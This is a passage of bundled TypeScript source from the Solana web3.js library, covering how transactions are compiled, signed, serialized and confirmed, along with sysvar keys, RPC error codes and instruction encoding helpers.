(x.isSigner !== y.isSigner) {\n // Signers always come before non-signers\n return x.isSigner ? -1 : 1;\n }\n if (x.isWritable !== y.isWritable) {\n // Writable accounts always come before read-only accounts\n return x.isWritable ? -1 : 1;\n }\n // Otherwise, sort by pubkey, stringwise.\n const options = {\n localeMatcher: 'best fit',\n usage: 'sort',\n sensitivity: 'variant',\n ignorePunctuation: false,\n numeric: false,\n caseFirst: 'lower',\n } as Intl.CollatorOptions;\n return x.pubkey\n .toBase58()\n .localeCompare(y.pubkey.toBase58(), 'en', options);\n });\n\n // Move fee payer to the front\n const feePayerIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(feePayer);\n });\n if (feePayerIndex > -1) {\n const [payerMeta] = uniqueMetas.splice(feePayerIndex, 1);\n payerMeta.isSigner = true;\n payerMeta.isWritable = true;\n uniqueMetas.unshift(payerMeta);\n } else {\n uniqueMetas.unshift({\n pubkey: feePayer,\n isSigner: true,\n isWritable: true,\n });\n }\n\n // Disallow unknown signers\n for (const signature of this.signatures) {\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(signature.publicKey);\n });\n if (uniqueIndex > -1) {\n if (!uniqueMetas[uniqueIndex].isSigner) {\n uniqueMetas[uniqueIndex].isSigner = true;\n console.warn(\n 'Transaction references a signature that is unnecessary, ' +\n 'only the fee payer and instruction signer accounts should sign a transaction. ' +\n 'This behavior is deprecated and will throw an error in the next major version release.',\n );\n }\n } else {\n throw new Error(`unknown signer: ${signature.publicKey.toString()}`);\n }\n }\n\n let numRequiredSignatures = 0;\n let numReadonlySignedAccounts = 0;\n let numReadonlyUnsignedAccounts = 0;\n\n // Split out signing from non-signing keys and count header values\n const signedKeys: string[] = [];\n const unsignedKeys: string[] = [];\n uniqueMetas.forEach(({pubkey, isSigner, isWritable}) => {\n if (isSigner) {\n signedKeys.push(pubkey.toString());\n numRequiredSignatures += 1;\n if (!isWritable) {\n numReadonlySignedAccounts += 1;\n }\n } else {\n unsignedKeys.push(pubkey.toString());\n if (!isWritable) {\n numReadonlyUnsignedAccounts += 1;\n }\n }\n });\n\n const accountKeys = signedKeys.concat(unsignedKeys);\n const compiledInstructions: CompiledInstruction[] = instructions.map(\n instruction => {\n const {data, programId} = instruction;\n return {\n programIdIndex: accountKeys.indexOf(programId.toString()),\n accounts: instruction.keys.map(meta =>\n accountKeys.indexOf(meta.pubkey.toString()),\n ),\n data: bs58.encode(data),\n };\n },\n );\n\n compiledInstructions.forEach(instruction => {\n invariant(instruction.programIdIndex >= 0);\n instruction.accounts.forEach(keyIndex => invariant(keyIndex >= 0));\n });\n\n return new Message({\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n accountKeys,\n recentBlockhash,\n instructions: compiledInstructions,\n });\n }\n\n /**\n * @internal\n */\n _compile(): Message {\n const message = this.compileMessage();\n const signedKeys = message.accountKeys.slice(\n 0,\n message.header.numRequiredSignatures,\n );\n\n if (this.signatures.length === signedKeys.length) {\n const valid = this.signatures.every((pair, index) => {\n return signedKeys[index].equals(pair.publicKey);\n });\n\n if (valid) return message;\n }\n\n this.signatures = signedKeys.map(publicKey => ({\n signature: null,\n publicKey,\n }));\n\n return message;\n }\n\n /**\n * Get a buffer of the Transaction data that need to be covered by signatures\n */\n serializeMessage(): Buffer {\n return this._compile().serialize();\n }\n\n /**\n * Get the estimated fee associated with a transaction\n *\n * @param {Connection} connection Connection to RPC Endpoint.\n *\n * @returns {Promise<number | null>} The estimated fee for the transaction\n */\n async getEstimatedFee(connection: Connection): Promise<number | null> {\n return (await connection.getFeeForMessage(this.compileMessage())).value;\n }\n\n /**\n * Specify the public keys which will be used to sign the Transaction.\n * The first signer will be used as the transaction fee payer account.\n *\n * Signatures can be added with either `partialSign` or `addSignature`\n *\n * @deprecated Deprecated since v0.84.0. Only the fee payer needs to be\n * specified and it can be set in the Transaction constructor or with the\n * `feePayer` property.\n */\n setSigners(...signers: Array<PublicKey>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n const seen = new Set();\n this.signatures = signers\n .filter(publicKey => {\n const key = publicKey.toString();\n if (seen.has(key)) {\n return false;\n } else {\n seen.add(key);\n return true;\n }\n })\n .map(publicKey => ({signature: null, publicKey}));\n }\n\n /**\n * Sign the Transaction with the specified signers. Multiple signatures may\n * be applied to a Transaction. The first signature is considered \"primary\"\n * and is used identify and confirm transactions.\n *\n * If the Transaction `feePayer` is not set, the first signer will be used\n * as the transaction fee payer account.\n *\n * Transaction fields should not be modified after the first call to `sign`,\n * as doing so may invalidate the signature and cause the Transaction to be\n * rejected.\n *\n * The Transaction must be assigned a valid `recentBlockhash` before invoking this method\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n sign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n this.signatures = uniqueSigners.map(signer => ({\n signature: null,\n publicKey: signer.publicKey,\n }));\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * Partially sign a transaction with the specified accounts. All accounts must\n * correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * All the caveats from the `sign` method apply to `partialSign`\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n partialSign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * @internal\n */\n _partialSign(message: Message, ...signers: Array<Signer>) {\n const signData = message.serialize();\n signers.forEach(signer => {\n const signature = sign(signData, signer.secretKey);\n this._addSignature(signer.publicKey, toBuffer(signature));\n });\n }\n\n /**\n * Add an externally created signature to a transaction. The public key\n * must correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * @param {PublicKey} pubkey Public key that will be added to the transaction.\n * @param {Buffer} signature An externally created signature to add to the transaction.\n */\n addSignature(pubkey: PublicKey, signature: Buffer) {\n this._compile(); // Ensure signatures array is populated\n this._addSignature(pubkey, signature);\n }\n\n /**\n * @internal\n */\n _addSignature(pubkey: PublicKey, signature: Buffer) {\n invariant(signature.length === 64);\n\n const index = this.signatures.findIndex(sigpair =>\n pubkey.equals(sigpair.publicKey),\n );\n if (index < 0) {\n throw new Error(`unknown signer: ${pubkey.toString()}`);\n }\n\n this.signatures[index].signature = Buffer.from(signature);\n }\n\n /**\n * Verify signatures of a Transaction\n * Optional parameter specifies if we're expecting a fully signed Transaction or a partially signed one.\n * If no boolean is provided, we expect a fully signed Transaction by default.\n *\n * @param {boolean} [requireAllSignatures=true] Require a fully signed Transaction\n */\n verifySignatures(requireAllSignatures: boolean = true): boolean {\n const signatureErrors = this._getMessageSignednessErrors(\n this.serializeMessage(),\n requireAllSignatures,\n );\n return !signatureErrors;\n }\n\n /**\n * @internal\n */\n _getMessageSignednessErrors(\n message: Uint8Array,\n requireAllSignatures: boolean,\n ): MessageSignednessErrors | undefined {\n const errors: MessageSignednessErrors = {};\n for (const {signature, publicKey} of this.signatures) {\n if (signature === null) {\n if (requireAllSignatures) {\n (errors.missing ||= []).push(publicKey);\n }\n } else {\n if (!verify(signature, message, publicKey.toBytes())) {\n (errors.invalid ||= []).push(publicKey);\n }\n }\n }\n return errors.invalid || errors.missing ? errors : undefined;\n }\n\n /**\n * Serialize the Transaction in the wire format.\n *\n * @param {Buffer} [config] Config of transaction.\n *\n * @returns {Buffer} Signature of transaction in wire format.\n */\n serialize(config?: SerializeConfig): Buffer {\n const {requireAllSignatures, verifySignatures} = Object.assign(\n {requireAllSignatures: true, verifySignatures: true},\n config,\n );\n\n const signData = this.serializeMessage();\n if (verifySignatures) {\n const sigErrors = this._getMessageSignednessErrors(\n signData,\n requireAllSignatures,\n );\n if (sigErrors) {\n let errorMessage = 'Signature verification failed.';\n if (sigErrors.invalid) {\n errorMessage += `\\nInvalid signature for public key${\n sigErrors.invalid.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.invalid.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n if (sigErrors.missing) {\n errorMessage += `\\nMissing signature for public key${\n sigErrors.missing.length === 1 ? '' : '(s)'\n } [\\`${sigErrors.missing.map(p => p.toBase58()).join('`, `')}\\`].`;\n }\n throw new Error(errorMessage);\n }\n }\n\n return this._serialize(signData);\n }\n\n /**\n * @internal\n */\n _serialize(signData: Buffer): Buffer {\n const {signatures} = this;\n const signatureCount: number[] = [];\n shortvec.encodeLength(signatureCount, signatures.length);\n const transactionLength =\n signatureCount.length + signatures.length * 64 + signData.length;\n const wireTransaction = Buffer.alloc(transactionLength);\n invariant(signatures.length < 256);\n Buffer.from(signatureCount).copy(wireTransaction, 0);\n signatures.forEach(({signature}, index) => {\n if (signature !== null) {\n invariant(signature.length === 64, `signature has invalid length`);\n Buffer.from(signature).copy(\n wireTransaction,\n signatureCount.length + index * 64,\n );\n }\n });\n signData.copy(\n wireTransaction,\n signatureCount.length + signatures.length * 64,\n );\n invariant(\n wireTransaction.length <= PACKET_DATA_SIZE,\n `Transaction too large: ${wireTransaction.length} > ${PACKET_DATA_SIZE}`,\n );\n return wireTransaction;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get keys(): Array<PublicKey> {\n invariant(this.instructions.length === 1);\n return this.instructions[0].keys.map(keyObj => keyObj.pubkey);\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get programId(): PublicKey {\n invariant(this.instructions.length === 1);\n return this.instructions[0].programId;\n }\n\n /**\n * Deprecated method\n * @internal\n */\n get data(): Buffer {\n invariant(this.instructions.length === 1);\n return this.instructions[0].data;\n }\n\n /**\n * Parse a wire transaction into a Transaction object.\n *\n * @param {Buffer | Uint8Array | Array<number>} buffer Signature of wire Transaction\n *\n * @returns {Transaction} Transaction associated with the signature\n */\n static from(buffer: Buffer | Uint8Array | Array<number>): Transaction {\n // Slice up wire data\n let byteArray = [...buffer];\n\n const signatureCount = shortvec.decodeLength(byteArray);\n let signatures = [];\n for (let i = 0; i < signatureCount; i++) {\n const signature = guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES);\n signatures.push(bs58.encode(Buffer.from(signature)));\n }\n\n return Transaction.populate(Message.from(byteArray), signatures);\n }\n\n /**\n * Populate Transaction object from message and signatures\n *\n * @param {Message} message Message of transaction\n * @param {Array<string>} signatures List of signatures to assign to the transaction\n *\n * @returns {Transaction} The populated Transaction\n */\n static populate(\n message: Message,\n signatures: Array<string> = [],\n ): Transaction {\n const transaction = new Transaction();\n transaction.recentBlockhash = message.recentBlockhash;\n if (message.header.numRequiredSignatures > 0) {\n transaction.feePayer = message.accountKeys[0];\n }\n signatures.forEach((signature, index) => {\n const sigPubkeyPair = {\n signature:\n signature == bs58.encode(DEFAULT_SIGNATURE)\n ? null\n : bs58.decode(signature),\n publicKey: message.accountKeys[index],\n };\n transaction.signatures.push(sigPubkeyPair);\n });\n\n message.instructions.forEach(instruction => {\n const keys = instruction.accounts.map(account => {\n const pubkey = message.accountKeys[account];\n return {\n pubkey,\n isSigner:\n transaction.signatures.some(\n keyObj => keyObj.publicKey.toString() === pubkey.toString(),\n ) || message.isAccountSigner(account),\n isWritable: message.isAccountWritable(account),\n };\n });\n\n transaction.instructions.push(\n new TransactionInstruction({\n keys,\n programId: message.accountKeys[instruction.programIdIndex],\n data: bs58.decode(instruction.data),\n }),\n );\n });\n\n transaction._message = message;\n transaction._json = transaction.toJSON();\n\n return transaction;\n }\n}\n","import {AccountKeysFromLookups} from '../message/account-keys';\nimport assert from '../utils/assert';\nimport {toBuffer} from '../utils/to-buffer';\nimport {Blockhash} from '../blockhash';\nimport {Message, MessageV0, VersionedMessage} from '../message';\nimport {PublicKey} from '../publickey';\nimport {AddressLookupTableAccount} from '../programs';\nimport {AccountMeta, TransactionInstruction} from './legacy';\n\nexport type TransactionMessageArgs = {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n};\n\nexport type DecompileArgs =\n | {\n accountKeysFromLookups: AccountKeysFromLookups;\n }\n | {\n addressLookupTableAccounts: AddressLookupTableAccount[];\n };\n\nexport class TransactionMessage {\n payerKey: PublicKey;\n instructions: Array<TransactionInstruction>;\n recentBlockhash: Blockhash;\n\n constructor(args: TransactionMessageArgs) {\n this.payerKey = args.payerKey;\n this.instructions = args.instructions;\n this.recentBlockhash = args.recentBlockhash;\n }\n\n static decompile(\n message: VersionedMessage,\n args?: DecompileArgs,\n ): TransactionMessage {\n const {header, compiledInstructions, recentBlockhash} = message;\n\n const {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n } = header;\n\n const numWritableSignedAccounts =\n numRequiredSignatures - numReadonlySignedAccounts;\n assert(numWritableSignedAccounts > 0, 'Message header is invalid');\n\n const numWritableUnsignedAccounts =\n message.staticAccountKeys.length -\n numRequiredSignatures -\n numReadonlyUnsignedAccounts;\n assert(numWritableUnsignedAccounts >= 0, 'Message header is invalid');\n\n const accountKeys = message.getAccountKeys(args);\n const payerKey = accountKeys.get(0);\n if (payerKey === undefined) {\n throw new Error(\n 'Failed to decompile message because no account keys were found',\n );\n }\n\n const instructions: TransactionInstruction[] = [];\n for (const compiledIx of compiledInstructions) {\n const keys: AccountMeta[] = [];\n\n for (const keyIndex of compiledIx.accountKeyIndexes) {\n const pubkey = accountKeys.get(keyIndex);\n if (pubkey === undefined) {\n throw new Error(\n `Failed to find key for account key index ${keyIndex}`,\n );\n }\n\n const isSigner = keyIndex < numRequiredSignatures;\n\n let isWritable;\n if (isSigner) {\n isWritable = keyIndex < numWritableSignedAccounts;\n } else if (keyIndex < accountKeys.staticAccountKeys.length) {\n isWritable =\n keyIndex - numRequiredSignatures < numWritableUnsignedAccounts;\n } else {\n isWritable =\n keyIndex - accountKeys.staticAccountKeys.length <\n // accountKeysFromLookups cannot be undefined because we already found a pubkey for this index above\n accountKeys.accountKeysFromLookups!.writable.length;\n }\n\n keys.push({\n pubkey,\n isSigner: keyIndex < header.numRequiredSignatures,\n isWritable,\n });\n }\n\n const programId = accountKeys.get(compiledIx.programIdIndex);\n if (programId === undefined) {\n throw new Error(\n `Failed to find program id for program id index ${compiledIx.programIdIndex}`,\n );\n }\n\n instructions.push(\n new TransactionInstruction({\n programId,\n data: toBuffer(compiledIx.data),\n keys,\n }),\n );\n }\n\n return new TransactionMessage({\n payerKey,\n instructions,\n recentBlockhash,\n });\n }\n\n compileToLegacyMessage(): Message {\n return Message.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n });\n }\n\n compileToV0Message(\n addressLookupTableAccounts?: AddressLookupTableAccount[],\n ): MessageV0 {\n return MessageV0.compile({\n payerKey: this.payerKey,\n recentBlockhash: this.recentBlockhash,\n instructions: this.instructions,\n addressLookupTableAccounts,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {Signer} from '../keypair';\nimport assert from '../utils/assert';\nimport {VersionedMessage} from '../message/versioned';\nimport {SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport * as Layout from '../layout';\nimport {sign} from '../utils/ed25519';\nimport {PublicKey} from '../publickey';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\nexport type TransactionVersion = 'legacy' | 0;\n\n/**\n * Versioned transaction class\n */\nexport class VersionedTransaction {\n signatures: Array<Uint8Array>;\n message: VersionedMessage;\n\n get version(): TransactionVersion {\n return this.message.version;\n }\n\n constructor(message: VersionedMessage, signatures?: Array<Uint8Array>) {\n if (signatures !== undefined) {\n assert(\n signatures.length === message.header.numRequiredSignatures,\n 'Expected signatures length to be equal to the number of required signatures',\n );\n this.signatures = signatures;\n } else {\n const defaultSignatures = [];\n for (let i = 0; i < message.header.numRequiredSignatures; i++) {\n defaultSignatures.push(new Uint8Array(SIGNATURE_LENGTH_IN_BYTES));\n }\n this.signatures = defaultSignatures;\n }\n this.message = message;\n }\n\n serialize(): Uint8Array {\n const serializedMessage = this.message.serialize();\n\n const encodedSignaturesLength = Array<number>();\n shortvec.encodeLength(encodedSignaturesLength, this.signatures.length);\n\n const transactionLayout = BufferLayout.struct<{\n encodedSignaturesLength: Uint8Array;\n signatures: Array<Uint8Array>;\n serializedMessage: Uint8Array;\n }>([\n BufferLayout.blob(\n encodedSignaturesLength.length,\n 'encodedSignaturesLength',\n ),\n BufferLayout.seq(\n Layout.signature(),\n this.signatures.length,\n 'signatures',\n ),\n BufferLayout.blob(serializedMessage.length, 'serializedMessage'),\n ]);\n\n const serializedTransaction = new Uint8Array(2048);\n const serializedTransactionLength = transactionLayout.encode(\n {\n encodedSignaturesLength: new Uint8Array(encodedSignaturesLength),\n signatures: this.signatures,\n serializedMessage,\n },\n serializedTransaction,\n );\n\n return serializedTransaction.slice(0, serializedTransactionLength);\n }\n\n static deserialize(serializedTransaction: Uint8Array): VersionedTransaction {\n let byteArray = [...serializedTransaction];\n\n const signatures = [];\n const signaturesLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < signaturesLength; i++) {\n signatures.push(\n new Uint8Array(guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES)),\n );\n }\n\n const message = VersionedMessage.deserialize(new Uint8Array(byteArray));\n return new VersionedTransaction(message, signatures);\n }\n\n sign(signers: Array<Signer>) {\n const messageData = this.message.serialize();\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n for (const signer of signers) {\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(signer.publicKey),\n );\n assert(\n signerIndex >= 0,\n `Cannot sign with non signer key ${signer.publicKey.toBase58()}`,\n );\n this.signatures[signerIndex] = sign(messageData, signer.secretKey);\n }\n }\n\n addSignature(publicKey: PublicKey, signature: Uint8Array) {\n assert(signature.byteLength === 64, 'Signature must be 64 bytes long');\n const signerPubkeys = this.message.staticAccountKeys.slice(\n 0,\n this.message.header.numRequiredSignatures,\n );\n const signerIndex = signerPubkeys.findIndex(pubkey =>\n pubkey.equals(publicKey),\n );\n assert(\n signerIndex >= 0,\n `Can not add signature; \\`${publicKey.toBase58()}\\` is not required to sign this transaction`,\n );\n this.signatures[signerIndex] = signature;\n }\n}\n","// TODO: These constants should be removed in favor of reading them out of a\n// Syscall account\n\n/**\n * @internal\n */\nexport const NUM_TICKS_PER_SECOND = 160;\n\n/**\n * @internal\n */\nexport const DEFAULT_TICKS_PER_SLOT = 64;\n\n/**\n * @internal\n */\nexport const NUM_SLOTS_PER_SECOND =\n NUM_TICKS_PER_SECOND / DEFAULT_TICKS_PER_SLOT;\n\n/**\n * @internal\n */\nexport const MS_PER_SLOT = 1000 / NUM_SLOTS_PER_SECOND;\n","import {PublicKey} from './publickey';\n\nexport const SYSVAR_CLOCK_PUBKEY = new PublicKey(\n 'SysvarC1ock11111111111111111111111111111111',\n);\n\nexport const SYSVAR_EPOCH_SCHEDULE_PUBKEY = new PublicKey(\n 'SysvarEpochSchedu1e111111111111111111111111',\n);\n\nexport const SYSVAR_INSTRUCTIONS_PUBKEY = new PublicKey(\n 'Sysvar1nstructions1111111111111111111111111',\n);\n\nexport const SYSVAR_RECENT_BLOCKHASHES_PUBKEY = new PublicKey(\n 'SysvarRecentB1ockHashes11111111111111111111',\n);\n\nexport const SYSVAR_RENT_PUBKEY = new PublicKey(\n 'SysvarRent111111111111111111111111111111111',\n);\n\nexport const SYSVAR_REWARDS_PUBKEY = new PublicKey(\n 'SysvarRewards111111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HASHES_PUBKEY = new PublicKey(\n 'SysvarS1otHashes111111111111111111111111111',\n);\n\nexport const SYSVAR_SLOT_HISTORY_PUBKEY = new PublicKey(\n 'SysvarS1otHistory11111111111111111111111111',\n);\n\nexport const SYSVAR_STAKE_HISTORY_PUBKEY = new PublicKey(\n 'SysvarStakeHistory1111111111111111111111111',\n);\n","import {Connection} from './connection';\nimport {TransactionSignature} from './transaction';\n\nexport class SendTransactionError extends Error {\n private signature: TransactionSignature;\n private transactionMessage: string;\n private transactionLogs: string[] | Promise<string[]> | undefined;\n\n constructor({\n action,\n signature,\n transactionMessage,\n logs,\n }: {\n action: 'send' | 'simulate';\n signature: TransactionSignature;\n transactionMessage: string;\n logs?: string[];\n }) {\n const maybeLogsOutput = logs\n ? `Logs: \\n${JSON.stringify(logs.slice(-10), null, 2)}. `\n : '';\n const guideText =\n '\\nCatch the `SendTransactionError` and call `getLogs()` on it for full details.';\n let message: string;\n switch (action) {\n case 'send':\n message =\n `Transaction ${signature} resulted in an error. \\n` +\n `${transactionMessage}. ` +\n maybeLogsOutput +\n guideText;\n break;\n case 'simulate':\n message =\n `Simulation failed. \\nMessage: ${transactionMessage}. \\n` +\n maybeLogsOutput +\n guideText;\n break;\n default: {\n message = `Unknown action '${((a: never) => a)(action)}'`;\n }\n }\n super(message);\n\n this.signature = signature;\n this.transactionMessage = transactionMessage;\n this.transactionLogs = logs ? logs : undefined;\n }\n\n get transactionError(): {message: string; logs?: string[]} {\n return {\n message: this.transactionMessage,\n logs: Array.isArray(this.transactionLogs)\n ? this.transactionLogs\n : undefined,\n };\n }\n\n /* @deprecated Use `await getLogs()` instead */\n get logs(): string[] | undefined {\n const cachedLogs = this.transactionLogs;\n if (\n cachedLogs != null &&\n typeof cachedLogs === 'object' &&\n 'then' in cachedLogs\n ) {\n return undefined;\n }\n return cachedLogs;\n }\n\n async getLogs(connection: Connection): Promise<string[]> {\n if (!Array.isArray(this.transactionLogs)) {\n this.transactionLogs = new Promise((resolve, reject) => {\n connection\n .getTransaction(this.signature)\n .then(tx => {\n if (tx && tx.meta && tx.meta.logMessages) {\n const logs = tx.meta.logMessages;\n this.transactionLogs = logs;\n resolve(logs);\n } else {\n reject(new Error('Log messages not found'));\n }\n })\n .catch(reject);\n });\n }\n return await this.transactionLogs;\n }\n}\n\n// Keep in sync with client/src/rpc_custom_errors.rs\n// Typescript `enums` thwart tree-shaking. See https://bargsten.org/jsts/enums/\nexport const SolanaJSONRPCErrorCode = {\n JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP: -32001,\n JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE: -32002,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE: -32003,\n JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE: -32004,\n JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY: -32005,\n JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE: -32006,\n JSON_RPC_SERVER_ERROR_SLOT_SKIPPED: -32007,\n JSON_RPC_SERVER_ERROR_NO_SNAPSHOT: -32008,\n JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED: -32009,\n JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX: -32010,\n JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE: -32011,\n JSON_RPC_SCAN_ERROR: -32012,\n JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH: -32013,\n JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET: -32014,\n JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION: -32015,\n JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED: -32016,\n} as const;\nexport type SolanaJSONRPCErrorCodeEnum =\n (typeof SolanaJSONRPCErrorCode)[keyof typeof SolanaJSONRPCErrorCode];\n\nexport class SolanaJSONRPCError extends Error {\n code: SolanaJSONRPCErrorCodeEnum | unknown;\n data?: any;\n constructor(\n {\n code,\n message,\n data,\n }: Readonly<{code: unknown; message: string; data?: any}>,\n customMessage?: string,\n ) {\n super(customMessage != null ? `${customMessage}: ${message}` : message);\n this.code = code;\n this.data = data;\n this.name = 'SolanaJSONRPCError';\n }\n}\n","import {Connection, SignatureResult} from '../connection';\nimport {Transaction} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport type {Signer} from '../keypair';\nimport type {TransactionSignature} from '../transaction';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Sign, send and confirm a transaction.\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Transaction} transaction\n * @param {Array<Signer>} signers\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmTransaction(\n connection: Connection,\n transaction: Transaction,\n signers: Array<Signer>,\n options?: ConfirmOptions &\n Readonly<{\n // A signal that, when aborted, cancels any outstanding transaction confirmation operations\n abortSignal?: AbortSignal;\n }>,\n): Promise<TransactionSignature> {\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n maxRetries: options.maxRetries,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendTransaction(\n transaction,\n signers,\n sendOptions,\n );\n\n let status: SignatureResult;\n if (\n transaction.recentBlockhash != null &&\n transaction.lastValidBlockHeight != null\n ) {\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n signature: signature,\n blockhash: transaction.recentBlockhash,\n lastValidBlockHeight: transaction.lastValidBlockHeight,\n },\n options && options.commitment,\n )\n ).value;\n } else if (\n transaction.minNonceContextSlot != null &&\n transaction.nonceInfo != null\n ) {\n const {nonceInstruction} = transaction.nonceInfo;\n const nonceAccountPubkey = nonceInstruction.keys[0].pubkey;\n status = (\n await connection.confirmTransaction(\n {\n abortSignal: options?.abortSignal,\n minContextSlot: transaction.minNonceContextSlot,\n nonceAccountPubkey,\n nonceValue: transaction.nonceInfo.nonce,\n signature,\n },\n options && options.commitment,\n )\n ).value;\n } else {\n if (options?.abortSignal != null) {\n console.warn(\n 'sendAndConfirmTransaction(): A transaction with a deprecated confirmation strategy was ' +\n 'supplied along with an `abortSignal`. Only transactions having `lastValidBlockHeight` ' +\n 'or a combination of `nonceInfo` and `minNonceContextSlot` are abortable.',\n );\n }\n status = (\n await connection.confirmTransaction(\n signature,\n options && options.commitment,\n )\n ).value;\n }\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: 'send',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","// zzz\nexport function sleep(ms: number): Promise<void> {\n return new Promise(resolve => setTimeout(resolve, ms));\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from './layout';\n\nexport interface IInstructionInputData {\n readonly instruction: number;\n}\n\n/**\n * @internal\n */\nexport type InstructionType<TInputData extends IInstructionInputData> = {\n /** The Instruction index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Populate a buffer of instruction data using an InstructionType\n * @internal\n */\nexport function encodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n fields?: any,\n): Buffer {\n const allocLength =\n type.layout.span >= 0 ? type.layout.span : Layout.getAlloc(type, fields);\n const data = Buffer.alloc(allocLength);\n const layoutFields = Object.assign({instruction: type.index}, fields);\n type.layout.encode(layoutFields, data);\n return data;\n}\n\n/**\n * Decode instruction data buffer using an InstructionType\n * @internal\n */\nexport function decodeData<TInputData extends IInstructionInputData>(\n type: InstructionType<TInputData>,\n buffer: Buffer,\n): TInputData {\n let data: TInputData;\n try {\n data = type.layout.decode(buffer);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (data.instruction !== type.index) {\n throw new Error(\n `invalid instruction; instruction index mismatch ${data.instruction} != ${type.index}`,\n );\n }\n\n return data;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\n/**\n * https://github.com/solana-labs/solana/blob/90bedd7e067b5b8f3ddbb45da00a4e9cabb22c62/sdk/src/fee_calculator.rs#L7-L11\n *\n * @internal\n */\nexport const FeeCalculatorLayout = BufferLayout.nu64('lamportsPerSignature');\n\n/**\n * Calculator for transaction fees.\n *\n * @deprecated Deprecated since Solana v1.8.0.\n */\nexport interface FeeCalculator {\n /** Cost in lamports to validate a signature. */\n lamportsPerSignature: number;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport type {FeeCalculator} from './fee-calculator';\nimport {FeeCalculatorLayout} from './fee-calculator';\nimport {toBuffer} from './utils/to-buffer';\n\n/**\n * See https://github.com/solana-labs/solana/blob/0ea2843ec9cdc517572b8e62c959f41b55cf4453/sdk/src/nonce_state.rs#L29-L32\n *\n * @internal\n */\nconst NonceAccountLayout = BufferLayout.struct<\n Readonly<{\n authorizedPubkey: Uint8Array;\n feeCalculator: Readonly<{\n lamportsPerSignature: number;\n }>;\n nonce: Uint8Array;\n state: number;\n version: number;\n }>\n>([\n BufferLayout.u32('version'),\n BufferLayout.u32('state'),\n Layout.publicKey('authorizedPubkey'),\n 